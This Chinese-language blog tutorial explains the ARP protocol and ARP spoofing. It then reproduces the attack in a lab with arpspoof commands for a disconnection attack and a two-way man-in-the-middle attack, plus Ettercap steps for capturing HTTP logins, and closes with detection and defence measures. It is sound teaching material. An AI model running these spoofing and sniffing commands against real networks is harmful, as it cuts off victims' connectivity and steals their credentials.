ARP 协议与 ARP 欺骗
2030 字
10 分钟
ARP 协议与 ARP 欺骗
一、网络基础
1.1 OSI 七层模型
| 层级 | 名称 | 作用 |
|---|---|---|
| 7 | 应用层 | 为用户提供网络服务(HTTP、FTP、SMTP等) |
| 6 | 表示层 | 数据格式转换、加密、压缩 |
| 5 | 会话层 | 建立、管理和终止通信会话 |
| 4 | 传输层 | 端到端数据传输(TCP/UDP),负责可靠传输 |
| 3 | 网络层 | 地址管理和路由选择(IP协议) |
| 2 | 数据链路层 | 在互连设备之间传送数据帧,MAC地址工作在此层 |
| 1 | 物理层 | 为数据传输提供物理链路(网线、光纤等) |
1.2 TCP/IP 四层模型
| 层级 | 对应 OSI | 说明 |
|---|---|---|
| 应用层 | 应用层 + 表示层 + 会话层 | HTTP、FTP、DNS、SMTP |
| 传输层 | 传输层 | TCP、UDP |
| 网际层 | 网络层 | IP、ICMP、ARP |
| 网络接口层 | 数据链路层 + 物理层 | 以太网、WiFi |
二、MAC 地址
2.1 什么是 MAC 地址?
| 属性 | 说明 |
|---|---|
| 全称 | 媒体访问控制地址(Media Access Control Address) |
| 长度 | 12 位十六进制数字,占用 48 bits |
| 格式 | 00-50-56-C0-00-01 或 00:50:56:C0:00:01 |
| 特点 | 全球唯一,固化在网卡中 |
| 查看命令 | Windows:ipconfig /all |
2.2 MAC 地址的作用
- 在数据链路层唯一标识网络设备
- 用于同一链路(局域网)内的设备通信
- 交换机依据 MAC 地址转发数据帧
三、ARP 协议
3.1 什么是 ARP?
ARP(Address Resolution Protocol,地址解析协议)的功能是将 IP 地址转换成 MAC 地址。
3.2 为什么需要 ARP?
- 网络层使用 IP 地址 标识主机
- 数据链路层使用 MAC 地址 传输数据帧
- 需要一种机制将 IP 地址映射到 MAC 地址 → ARP 协议
3.3 正常 ARP 工作流程
假设:主机 A(192.168.1.2)想与主机 B(192.168.1.3)通信。
步骤 1:主机 A 检查本地 ARP 缓存表 ↓ 没有主机 B 的 MAC 地址步骤 2:主机 A 发送 ARP 请求包(广播) 问:"谁的 IP 是 192.168.1.3?请告诉我你的 MAC 地址" ↓ 同一链路所有主机都收到步骤 3:主机 B 检查目标 IP 是自己的 主机 B 发送 ARP 响应包(单播) 答:"我是 192.168.1.3,我的 MAC 是 00-11-22-33-44-55" ↓步骤 4:主机 A 收到响应,更新 ARP 缓存表 开始通信3.4 ARP 缓存表
为了减少 ARP 查询产生的网络流量,主机将 ARP 映射结果缓存在本地。
| 命令 | 作用 |
|---|---|
arp -a | 查看 ARP 缓存表 |
arp -d | 删除 ARP 缓存(需管理员权限) |
ARP 缓存有生存周期,超时后会重新查询。
四、ARP 攻击原理
4.1 核心缺陷
ARP 协议无身份验证机制:主机收到 ARP 响应包后,无条件信任并更新缓存表。
4.2 攻击场景
网络中有 A、B、C 三台主机,A 与 B 正常通信,主机 C(攻击者) 实施 ARP 欺骗。
步骤 1:主机 C 给主机 A 发送 ARP 响应包 伪造:"主机 B 的 IP 对应主机 C 的 MAC" ↓步骤 2:主机 A 收到后,更新 ARP 缓存表 将主机 B 的 IP 映射到主机 C 的 MAC ↓步骤 3:主机 A 发往主机 B 的数据包,实际发给了主机 C ↓步骤 4:主机 C 可以选择: ├── 不转发 → 主机 A 和 B 通信中断(断网攻击) └── 转发数据包 → 中间人攻击(窃听通信内容)4.3 攻击本质
假冒”我是谁” 攻击者 MAC 地址 = 我(攻击者) 被冒充者 IP 地址 = 谁(目标 IP)
五、ARP 攻击的危害
| 攻击类型 | 说明 |
|---|---|
| ARP 泛洪攻击 | 向网关发送大量 ARP 报文,导致网关无法正常响应 |
| 断网攻击 | 欺骗目标主机,让目标主机找不到网关,无法上网 |
| 中间人攻击(MITM) | 同时欺骗目标主机和网关,实现流量劫持和窃听 |
| 欺骗普通主机 | 冒充其他主机的 MAC 身份 |
| 欺骗网关 | 让网关误认为攻击者就是目标主机 |
六、ARP 攻击复现
6.1 实验环境
| 角色 | IP 地址 | 系统 |
|---|---|---|
| 攻击机 | 192.168.3.128 | Kali Linux |
| 受害机 | 192.168.3.155 | Ubuntu 靶机 |
| 网关 | 192.168.3.1 | Windows |
6.2 工具
- arpspoof:Kali 内置,用于发送 ARP 欺骗包
- Wireshark:抓包分析
- ettercap:中间人攻击 + 敏感数据窃取
6.3 攻击1:断网攻击
# 语法:arpspoof -i 网卡 -t 目标IP 网关IP
# 告诉目标主机:我是网关(让目标主机把流量发给攻击者)sudo arpspoof -i eth0 -t 192.168.3.155 192.168.3.1效果: 受害主机无法上网(因为流量被引向攻击者,但攻击者未开启转发)。
停止: Ctrl + C 停止 arpspoof,受害机恢复网络。
6.4 攻击2:中间人攻击(MITM)
步骤1:开启 IP 转发
# 让 Kali 能够转发接收到的数据包sudo echo 1 > /proc/sys/net/ipv4/ip_forward| 值 | 含义 |
|---|---|
| 0 | IP 转发关闭(默认) |
| 1 | IP 转发开启 |
步骤2:欺骗目标主机
# 让目标主机认为 Kali 是网关(正向欺骗)sudo arpspoof -i eth0 -t 192.168.3.155 192.168.3.1步骤3:欺骗网关
# 让网关认为 Kali 是目标主机(反向欺骗)sudo arpspoof -i eth0 -t 192.168.3.1 192.168.3.155流量路径
请求方向: 受害机(155)→ Kali(128)→ 网关(1)→ 互联网
响应方向: 互联网 → 网关(1)→ Kali(128)→ 受害机(155)步骤4:使用 Wireshark 抓包验证
# 启动 Wireshark,选择 eth0 网卡# 在受害机上 ping Ubuntu 靶机(192.168.3.141)# 在 Wireshark 中看到 ICMP 包 → 流量经过 Kali,验证成功6.5 使用 Ettercap 窃取敏感数据
# 启动 Ettercap(图形界面)sudo ettercap -G操作流程:
- 选择网卡(eth0)
- 扫描主机(Scan for hosts)
- 添加目标(目标主机和网关)
- 启用 ARP 欺骗(Mitm → ARP poisoning)
- 开始嗅探(Start → Start sniffing)
效果: 受害机登录 HTTP 网站时,用户名/密码会被 Ettercap 捕获显示。
七、ARP 防御
7.1 主机级被动检测
当主机收到 ARP 响应包时,检查发送端 IP 地址是否与自己的 IP 地址相同。如果相同,说明局域网内有另一台主机冒充自己。
7.2 主机级主动检测
主机定期向局域网发送查询自己 IP 地址的 ARP 请求。如果收到另一台主机的响应,说明存在 IP 冲突(ARP 欺骗)。
7.3 服务器级检测
收到 ARP 响应后,使用 RARP(反向地址解析协议)从 MAC 地址反查 IP 地址,比较两个 IP 是否一致。
7.4 网络级检测
主机定期向中心管理主机报告 ARP 缓存内容,中心主机检查:
- 不同主机报告信息是否一致
- 同一主机前后报告内容是否变化
7.5 常见防御措施
| 措施 | 说明 |
|---|---|
| IP-MAC 静态绑定 | 在主机和交换机上绑定 IP 和 MAC 的对应关系 |
| 交换机端口安全 | 限制端口允许的 MAC 地址数量 |
| 启用 ARP 防护 | 在主机或交换机上开启 ARP 攻击防护功能 |
| 使用 VPN | 加密通信,防止数据被窃听 |
| 使用 HTTPS | 加密 HTTP 通信,防止敏感信息泄露 |
7.6 Windows 静态绑定
# 查看 ARP 缓存arp -a
# 静态绑定 IP-MACarp -s 192.168.1.1 00-11-22-33-44-55
# 删除静态绑定arp -d 192.168.1.1📌 快速参考卡片
协议分层速记
OSI 七层(从下往上): 物理层 → 数据链路层 → 网络层 → 传输层 → 会话层 → 表示层 → 应用层
口诀:物数网传会表应ARP 攻击命令
# 断网攻击sudo arpspoof -i eth0 -t 目标IP 网关IP
# 中间人攻击(双向欺骗)sudo echo 1 > /proc/sys/net/ipv4/ip_forward # 开启转发sudo arpspoof -i eth0 -t 目标IP 网关IP # 欺骗目标sudo arpspoof -i eth0 -t 网关IP 目标IP # 欺骗网关
# 查看 ARP 缓存(Windows/Linux)arp -a
# 清除 ARP 缓存(需管理员)arp -d
# 启动 Ettercap 图形界面sudo ettercap -GARP 攻击流程
1. 确定目标 IP 和网关 IP2. 开启 IP 转发(中间人模式)3. arpspoof 欺骗目标主机(我是网关)4. arpspoof 欺骗网关(我是目标)5. 用 Wireshark 或 Ettercap 抓取流量6. 分析数据,提取敏感信息防御要点
✅ IP-MAC 静态绑定✅ 交换机端口安全✅ 使用 HTTPS 加密通信✅ 启用 ARP 防护功能✅ 定期监控 ARP 缓存变化文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
ARP 协议与 ARP 欺骗
https://blog.emberlag.com/posts/arp-and-arp-spoofing/相关文章智能推荐
1
弱口令与未授权访问
技术文章Hydra 服务爆破、Tomcat 后台弱口令 getshell,以及未授权访问漏洞清单与挖掘思路。
2
信息收集
技术文章从域名、IP、指纹到社工信息,渗透测试前期信息收集的完整思路与常用工具。
3
Webshell 工具
技术文章冰蝎、哥斯拉、蚁剑三款 Webshell 管理工具的特点对比与流量绕过方法。
4
漏扫工具
技术文章AWVS、AppScan、Nessus、Xray 四款漏扫工具的定位、使用方式与扫描结果解读。
5
基线检查及安全加固
技术文章PHP、Windows、Linux、Apache、Nginx、Tomcat、MySQL 七大对象的基线检查与安全加固清单。
随机文章随机推荐















